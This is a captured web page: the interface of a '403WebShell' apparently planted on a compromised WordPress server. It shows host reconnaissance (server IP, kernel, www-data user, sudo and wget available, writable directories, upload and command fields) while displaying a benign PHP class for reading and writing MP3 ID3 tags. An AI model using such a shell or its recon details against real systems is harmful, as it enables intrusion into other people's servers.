Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /mnt/stoughton/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/stoughton/include/class.mp3id.php
<?php

// GPL:  http://rasher.dk/source/mp3/id3.php

        define ('UNSYNC', 128);
        define ('EXT', 64);
        define ('EXPER', 32);
        define ('FOOT', 16);
        define ('UNKNOWN', 15);

        $GENRES = array(
     'Blues', 'Classic Rock', 'Country',
     'Dance', 'Disco', 'Funk', 'Grunge', 'Hip-Hop', 'Jazz',
     'Metal', 'New Age', 'Oldies', 'Other', 'Pop', 'R&B',
     'Rap', 'Reggae', 'Rock', 'Techno', 'Industrial', 'Alternative',
     'Ska', 'Death Metal', 'Pranks', 'Soundtrack', 'Euro-Techno', 'Ambient',
     'Trip-Hop', 'Vocal', 'Jazz+Funk', 'Fusion', 'Trance', 'Classical',
     'Instrumental', 'Acid', 'House', 'Game', 'Sound Clip', 'Gospel',
     'Noise', 'AlternRock', 'Bass', 'Soul', 'Punk', 'Space', 'Meditative',
     'Instrumental Pop', 'Instrumental Rock', 'Ethnic', 'Gothic', 'Darkwave',
     'Techno-Industrial', 'Electronic', 'Pop-Folk', 'Eurodance', 'Dream',
     'Southern Rock', 'Comedy', 'Cult', 'Gangsta', 'Top 40', 'Christian Rap',
     'Pop/Funk', 'Jungle', 'Native American', 'Cabaret', 'New Wave', 'Psychadelic',
     'Rave', 'Showtunes', 'Trailer', 'Lo-Fi', 'Tribal', 'Acid Punk', 'Acid Jazz',
     'Polka', 'Retro', 'Musical', 'Rock & Roll', 'Hard Rock', 'Folk', 'Folk-Rock',
     'National Folk', 'Swing', 'Fast Fusion', 'Bebob', 'Latin',  'Revival',
     'Celtic', 'Bluegrass', 'Avantgarde', 'Gothic Rock', 'Progressive Rock',
     'Psychedelic Rock', 'Symphonic Rock', 'Slow Rock', 'Big Band', 'Chorus',
     'Easy Listening', 'Acoustic', 'Humour', 'Speech', 'Chanson', 'Opera',
     'Chamber Music', 'Sonata', 'Symphony', 'Booty Bass', 'Primus', 'Porn Groove',
     'Satire', 'Slow Jam', 'Club', 'Tango', 'Samba', 'Folklore', 'Ballad',
     'Power Ballad', 'Rhythmic Soul', 'Freestyle', 'Duet', 'Punk Rock',
     'Drum Solo', 'A capella', 'Euro-House', 'Dance Hall'
    );


class mp3id3 {

    function __construct($file = '') {
        if ($file != '') $this->loadfile($file);
    }
    
    function loadfile($file) {
    	  unset($this->error);
    	  unset($this->error_texts);
    	  unset($this->user);
    	  unset($this->v1);
    	  unset($this->v2);
    	  unset($this->rawv1tag);
    	  unset($this->comment);
    	  $this->v1tag = $this->v2tag = 0;
    	  
        $fs = @filesize($file);
        $this->print_errors = false;
        $this->error = false;
        $this->error_texts = array();
        $this->filename = $file;
        if (($this->file = fopen($file, 'rb')) !== FALSE) {
	        $this->readv2();
	        if ($fs > 127) $this->readv1();
	        $this->_readframe($fs);
      	  fclose($this->file);
        }
    }

    function adderror($text) {
        $this->error = 1;
        $this->error_texts[] = $text;
        if ($this->print_errors) {
            echo $text;
        }
    }

    function genre($genrenumber=false) {
	global $GENRES;
      if (isset($GENRES[$genrenumber])) { 
      	return $GENRES[$genrenumber]; 
      } else { 
      	$this->adderror('No such genrenumber ('.$genrenumber.')'); 
      	return false; 
      }
    } 
    function artist() {
        if (isset($this->user['artist']))
            return trim($this->user['artist']);
        if ($this->v2tag) {
        	return isset($this->v2['TPE1']) ? $this->v2['TPE1'] : '';
        }
        return isset($this->v1['artist']) ? $this->v1['artist'] : '';
    }

    function title() {
        if (isset($this->user['title']))
            return trim($this->user['title']);

        if ($this->v2tag) {
        	return isset($this->v2['TIT2']) ? $this->v2['TIT2'] : '';
        }
        return isset($this->v1['title']) ? $this->v1['title'] : '';
    }

    function album() {
        if (isset($this->user['album']))
            return trim($this->user['album']);

        if ($this->v2tag) {
        	return isset($this->v2['TALB']) ? $this->v2['TALB'] : '';
        }
        return isset($this->v1['album']) ? $this->v1['album'] : '';
    }

    function trackno() {
        return trim(( isset($this->v2['TRCK']) ? $this->v2['TRCK'] : $this->v1['track']));
    }

    function year() {
        return trim(( isset($this->v2['TYER']) ? $this->v2['TYER'] : $this->v1['year']));
    }

    function genreno() {
        return trim(( isset($this->v2['TCON']['v1genreno']) ? $this->v2['TCON']['v1genreno'] : $this->v1['genreno']));
    }

    function get_genre() {
	  return $this->genre($this->genreno());
    }

    function comment() {
        if ($this->v2tag) {
        	return isset($this->v2['COMM']['content']) ? $this->v2['COMM']['content'] : '';
        }
    	  return isset($this->v1['comment']) ? trim($this->v1['comment']) : '';
    }

    function originalartist() {
      	return isset($this->v2['TOPE']) ? $this->v2['TOPE'] : '';
    }

    function readv1() {
        fseek($this->file, -128, SEEK_END);
        $rawtag = fread($this->file, 128);
        $tag = unpack("a3tag/a30title/a30artist/a30album/a4year/A30comment/C1genre", $rawtag);
        $this->v1tag = $tag['tag'] == 'TAG';
        if (!$this->v1tag) return;

        if (substr($tag['comment'], -2, 1) == "\0") {
            $temp = unpack("a28comment/A1null/C1track", $tag['comment']);
            $this->track = $temp['track'];
            $this->comment = $temp['comment'];
        } else { 
        	$this->comment = trim($tag['comment']); 
        }

        $this->v1['title'] = $tag['title'];		// max 30
        $this->v1['artist'] = $tag['artist'];		// max 30
        $this->v1['album'] = $tag['album'];		// max 30
        $this->v1['year'] = $tag['year'];
        $this->v1['genreno'] = $tag['genre'];
        $this->rawv1tag = $rawtag;
    }

    function writev1() {
        if ($this->trackno())
            $rawtag = pack("a3a30a30a30a4a28x1C1C1", "TAG", $this->title(), $this->artist(), $this->album(), $this->year(), $this->comment(), $this->trackno(), $this->genreno());
        else
            $rawtag = pack("a3a30a30a30a4a30C1", "TAG", $this->title(), $this->artist(), $this->album(), $this->year(), $this->comment(), $this->genreno());
        if (!file_exists($this->filename)) { $this->adderror("File $file doesn't exist"); return false; }

	  $this->file = fopen($this->filename, 'r+');
        if ($this->readv1()) {
	        fseek($this->file, -128, SEEK_END);		// v1 tag already exists - overwrite it
        } else {
	        fseek($this->file, 0, SEEK_END);
        }
	  fwrite($this->file, $rawtag);
        fclose($this->file);
    }

    function decode_synchsafe($hex) {
        // This function shamelessly stolen from ID3v2 reader by Anders Bruun Olsen <anders@gerf.dk>
        // found at http://www.inspired.sk/php/tricks/trick.php?ID=41	

	  //pjy bit 7 on each byte in original is clear; this is correct: 
	  
        $int = base_convert($hex, 16, 10);
        $int1 = floor($int/256) * 128 + ($int%256);
        $int2 = floor($int1/32768) * 16384 + ($int1%32768);
        $int = floor($int2/4194304) * 2097152 + ($int2%4194304);
	
        return $int;
    }

    function encode_synchsafe($number, $binary=0) {
        // xxx: only works on integers, and not even that.
        $return = '';
//        $int = decbin($number);

//        for ($i=0;$i<4;$i++) {
//            $temp = str_pad(substr($int, -7), 8, 0, PAD_LEFT);
//            $int = substr($int, 0, -7);
//            $return = chr(bindec($temp)) . $return;
//        }
        
	  for ($i=0;$i<4;$i++) {				//PJY rewritten
	  	$v = $number & 127;
	  	$return = chr($v) . $return;
	  	$number >>= 7;
	  }	

        return $return;
    }
    

    function framesize($string) {
        $return = '';
        for($i=0;$i < strlen($string);$i++) {
            $temp = sprintf("%08b", ord($string[$i]));
            $return .= substr($temp, 1, 7);
        }
        return bindec($return);
    }

    function loadframe($name, $frame) {
        switch($name) {
            case 'WXXX':
                $temp = explode("\0", substr($frame, 1));
                if (!isset($temp[2]) || !$temp[2]) { // winamp only sets the url, not the description
                    $this->v2['WXXX']['url'] = trim($temp[1]);
                } else {
                    $this->v2['WXXX']['url'] = $temp[2];
                    $this->v2['WXXX']['url-description'] = trim($temp[1]);
                }
                break;
/*
This frame is intended for any kind of full text information that
   does not fit in any other frame. It consists of a frame header
   followed by encoding, language and content descriptors and is ended
   with the actual comment as a text string. Newline characters are
   allowed in the comment text string. There may be more than one
   comment frame in each tag, but only one with the same language and
   content descriptor.

     <Header for 'Comment', ID: "COMM">
     Text encoding          $xx				// 0 = ISO-8859-1, 1 = unicode
     Language               $xx xx xx			// ISO-639-2.
     Short content descrip. <text string according to encoding> $00 (00)
     The actual text        <full text string according to encoding>
*/
                
            case 'COMM': // xxx: eh, there's some language thing, and summary
                $encoding = $frame[0];
                $temp = explode("\0", substr($frame, 4));
                $this->v2['COMM']['language'] = substr($frame, 1, 3);
                $this->v2['COMM']['content-description'] = $temp[0];
                $this->v2['COMM']['content'] = $temp[1];
                break;
            case 'APIC': // xxx: not at all working, needs a proper decode_synchsafe()
                $encoding = $frame[0];
                $temp = explode("\0", substr($frame, 1));
                $this->v2['APIC']['mime-type'] = $temp[0];
                if ($this->v2['unsync']) {
                    $this->v2['APIC']['content'] = $this->decode_synchsafe($temp[1]);
                }
                break;
            case 'TCON':
                $encoding = $frame[0];
                    if ($this->v2['major-version'] == 4) {

                    }
                    else {
                        // "\((\d+)\)+(.*)"
//                        if (ereg("\(([[:digit:]]+)\)(.*)", substr($frame, 1), $results)) {
                        if (preg_match("~\((\d+)\)(.*)~", substr($frame, 1), $results)) {
                            $this->v2['TCON']['v2genre'] = $results[2];
                            $this->v2['TCON']['v1genre'] = $this->genre($results[1]);
                            $this->v2['TCON']['v1genreno'] = $results[1];
                        }
                    }
                break;

            default:
                $encoding = substr($frame, 0, 1);
                $this->v2[$name] = substr($frame, 1);
            break;
        }
    }

    function readv2() {
        fseek($this->file, 0); // xxx: we assume for now, that the tag is prepended

        // Read tag header
        $rawheader = fread($this->file, 10);
        if (strlen($rawheader) < 10) return;
        
        $header = unpack("a3id3/C1major/C1revision/C1flags/H8size", $rawheader);

        $this->v2tag = $header['id3'] == 'ID3' ? 1 : 0;
        if (!$this->v2tag) return;

        // Test if id3v2 is used in a format other than the supported
        $this->v2['major-version'] = $header['major'];
        if ($header['major'] > 4 || $header['major'] < 3) { $this->adderror('tag format be can\'t handled'); return; }

	  $this->v2['unsync'] = $this->v2['extended'] = $this->v2['experimental'] = $this->v2['footer'] = 0;
	  
        // Detect header flags
        if ($header['flags'] & UNSYNC) { $this->v2['unsync'] = 1; }
        if ($header['flags'] & EXT)    { $this->v2['extended'] = 1; }
        if ($header['flags'] & EXPER)  { $this->v2['experimental'] = 1; }
        if ($header['flags'] & FOOT)   { $this->v2['footer'] = 1; }
        if ($header['flags'] & UNKNOWN){ $this->adderror("Unknown header flags set, parsing aborted"); return; }

        // Calculate tag size
        $this->v2['size'] = $this->decode_synchsafe($header['size']);

        // xxx: what should be done about unsynchronisation?

        if ($this->v2['extended']) {
            // Figure out the size of the extended header
            $extendedsize = fread($this->file, 4);
            $temp = unpack('H8size', $extendedsize);
            $extendedsize = $this->decode_synchsafe($temp['size']);

            $rawextended = fread($this->file, $extendedsize);
            // xxx: I'm not doing anything with the extended header, this
            // shouldn't do any harm in any way, but isn't exactly nice.

            $extended = 4 + $extendedsize;
        } else { 
        	$extended = 0;
        }

        // Read [extended header,] frames [and padding]
        $rawframes = fread($this->file, $this->v2['size'] - $extended);

        $read = $extended;

        while($read < ($this->v2['size'] - $extended)) {
            $frameheader = @unpack('a4name/a4size/C1statusflags/C1formatflags', substr($rawframes, $read, 10));
            if ($frameheader['name'] == false) {
                $this->v2['padding'] = $this->v2['size'] - $read + $extended;
                break;
            }

            $read += 10;
            $size = $this->framesize($frameheader['size']);
            $rawdata = substr($rawframes, $read, $size);
            $this->loadframe($frameheader['name'], $rawdata);
            //$this->v2[$frameheader['name'].'-size'] = $size;

            $read += $size;
        }
    }

function _readframe($fs) {
	fseek($this->file, 0);
	do {
	    while (fread($this->file,1) != Chr(255)) { // Find the first frame
		//if ($this->debug) echo "Find...\n";
	    }
	    fseek($this->file, ftell($this->file) - 1); // back up one byte

	    $r = fread($this->file, 4);
	    // Binary to Hex to a binary sting. ugly but best I can think of.
	    $bits = unpack('H*bits', $r);
	    $bits =  base_convert($bits['bits'],16,2);
	} while (!$bits[8] and !$bits[9] and !$bits[10]); // 1st 8 bits true from the while

	if ($bits[11] == 0) {
	    $this->mpeg_ver = '2.5';
	    $bitrates = array(
		    '1' => array(0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, 0),
		    '2' => array(0,  8, 16, 24, 32, 40, 48,  56,  64,  80,  96, 112, 128, 144, 160, 0),
		    '3' => array(0,  8, 16, 24, 32, 40, 48,  56,  64,  80,  96, 112, 128, 144, 160, 0),
			     );
	} else if ($bits[12] == 0) {
	    $this->mpeg_ver = '2';
	    $bitrates = array(
		    '1' => array(0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, 0),
		    '2' => array(0,  8, 16, 24, 32, 40, 48,  56,  64,  80,  96, 112, 128, 144, 160, 0),
		    '3' => array(0,  8, 16, 24, 32, 40, 48,  56,  64,  80,  96, 112, 128, 144, 160, 0),
			     );
	} else {
	    $this->mpeg_ver = '1';
	    $bitrates = array(
		    '1' => array(0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, 0),
		    '2' => array(0, 32, 48, 56,  64,  80,  96, 112, 128, 160, 192, 224, 256, 320, 384, 0),
		    '3' => array(0, 32, 40, 48,  56,  64,  80,  96, 112, 128, 160, 192, 224, 256, 320, 0),
			     );
	}

	$layer = array( array(0,3), array(2,1), );
	
	$this->layer = $layer[$bits[13]][$bits[14]];

	if ($bits[15] == 0) {
	    // It's backwards, if the bit is not set then it is protected.
	    $this->crc = true;
	}

	$bitrate = 0;
	if ($bits[16] == 1) $bitrate += 8;
	if ($bits[17] == 1) $bitrate += 4;
	if ($bits[18] == 1) $bitrate += 2;
	if ($bits[19] == 1) $bitrate += 1;
	$this->bitrate = $bitrates[$this->layer][$bitrate];

	$frequency = array(
		'1' => array(
		    '0' => array(44100, 48000),
		    '1' => array(32000, 0),
			    ),
		'2' => array(
		    '0' => array(22050, 24000),
		    '1' => array(16000, 0),
			    ),
		'2.5' => array(
		    '0' => array(11025, 12000),
		    '1' => array(8000, 0),
			      ),
		  );
	$this->frequency = $frequency[$this->mpeg_ver][$bits[20]][$bits[21]];

	$this->padding = $bits[22];
	$this->private = $bits[23];

	$mode = array(
		array('Stereo', 'Joint Stereo'),
		array('Dual Channel', 'Mono'),
		     );
	$this->mode = $mode[$bits[24]][$bits[25]];

	// XXX: I dunno what the mode extension is for bits 26,27

	$this->copyright = $bits[28];
	$this->original = $bits[29];

	$emphasis = array(
		array('none', '50/15ms'),
		array('', 'CCITT j.17'),
			 );
	$this->emphasis = $emphasis[$bits[30]][$bits[31]];

	if ($this->bitrate) {
	    $s = ((8*$fs)/1000) / $this->bitrate;
		$msize = (8*$fs) / $this->bitrate;
	} else {
	    $s = 0;
		$msize = 0;
	}
	$mm = intval($s / 60);
	$hh = intval($mm / 60);
	$mm = $mm % 60;
	$ss = intval($s % 60);
	$this->length = sprintf('%d:%02d:%02d',$hh,$mm,$ss);
	$this->milliseconds = $msize;
    }
    
    function writev2dirty($outfile = NULL) {
        if ($outfile === NULL) {
            $outfile = $this->filename;
        }
        umask(0);

        $TENC = 'TENC' . $this->encode_synchsafe(0 + 1) . "@\0\0";
        $WXXX = 'WXXX' . $this->encode_synchsafe(0 + 2) . "\0\0\0\0";
        $TCOP = 'TCOP' . $this->encode_synchsafe(0 + 1) . "\0\0\0";
        $TCOM = 'TCOM' . $this->encode_synchsafe(0 + 1) . "\0\0\0";
//        $COMM = 'COMM' . $this->encode_synchsafe(5) . "\0\0\0\0" . chr(6) . "\0\0";

	  if (isset($this->v2['COMM'])) {
		$lang = sprintf('%3s', $this->v2['COMM']['language']);
		$comment = "\0" . $lang . $this->v2['COMM']['content-description'] . "\0" . $this->v2['COMM']['content'];
	      $COMM = 'COMM' . $this->encode_synchsafe(strlen($comment) + 1) . "\0\0\0" . $comment;
        } else {
      	$COMM = '';
        }

        $TOPE = 'TOPE' . $this->encode_synchsafe(strlen($this->originalartist()) +1) . "\0\0\0" . $this->originalartist();  // Original artist - used to store languages
        $TIT2 = "TIT2" . $this->encode_synchsafe(strlen($this->title()) +1) . "\0\0\0" . $this->title();
        $TRCK = "TRCK" . $this->encode_synchsafe(strlen($this->trackno()) +1) . "\0\0\0" . $this->trackno();
        $TCON = "TCON" . $this->encode_synchsafe(strlen('(' . $this->genreno() . ')' . $this->get_genre()) +1) . "\0\0\0" . '(' . $this->genreno() . ')' . $this->get_genre();
        $TYER = "TYER" . $this->encode_synchsafe(strlen($this->year()) +1) . "\0\0\0" . $this->year();
        $TALB = "TALB" . $this->encode_synchsafe(strlen($this->album()) +1) . "\0\0\0" . $this->album();
        $TPE1 = "TPE1" . $this->encode_synchsafe(strlen($this->artist()) +1) . "\0\0\0" . $this->artist();

        $tag  = $WXXX . $TCOP . $TOPE . $TCOM . $COMM . $TALB . $TPE1 . $TENC . $TIT2 . $TRCK . $TCON . $TYER;

	  $this->file = fopen($this->filename, 'r+');
        if ($this->readv2()) {
            if ( (strlen($tag)+10) < $this->v2['size']) {
                $tagsize = $this->v2['size'];
            }
            else {
                $tagsize = strlen($tag) +  1400;
            }
        }
        else {
            $tagsize = strlen($tag) +  1400;
        }
        fclose($this->file);

        $header = pack('a3h1h1h1a4', 'ID3', 0x03, 0x00, 0x00, $this->encode_synchsafe($tagsize));

        $entiretag = $header.$tag.str_repeat("\0", $tagsize - strlen($tag));

        if ($this->v2tag) {
            $this->adderror('remove tag, and write new file');

            if ($outfile == $this->filename) {
                rename($this->filename, $this->filename. '.temp');
                $fp_read = fopen($this->filename. '.temp', 'rb');
            }
            else {
                $fp_read = fopen($this->filename, 'rb');
            }
            $fp_write = fopen($outfile, 'wb');
            fwrite($fp_write, $entiretag);
            fseek($fp_read, $this->v2['size'] + 10);
            while (!feof($fp_read)) {
                fwrite($fp_write, fread($fp_read, 1024));
            }
        } else {
            $header = pack('a3h1h1h1a4', 'ID3', 0x03, 0x00, 0x00, $this->encode_synchsafe($tagsize));
            $entiretag = $header.$tag.str_repeat("\0", $tagsize - strlen($tag));

            if ($outfile == $this->filename) {
                rename($this->filename, $this->filename. '.temp');
                $fp_read = fopen($this->filename. '.temp', 'rb');
            }
            else {
                if (!$fp_read = fopen($this->filename, 'rb')) {
                    echo "error!!! failed to open ".$this->filename."\n";
                    die();
                }
            }
            if (!$fp_write = fopen($outfile, 'wb')) {
                echo "error!!! failed to open $outfile\n";
                die();
            }

            fwrite($fp_write, $entiretag);
            fseek($fp_read, 0);
            while (!feof($fp_read)) {
                fwrite($fp_write, fread($fp_read, 1024));
            }

        }
        fclose($fp_read);
        fclose($fp_write);
        if ($outfile == $this->filename) {
            @unlink($this->filename. '.temp');
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit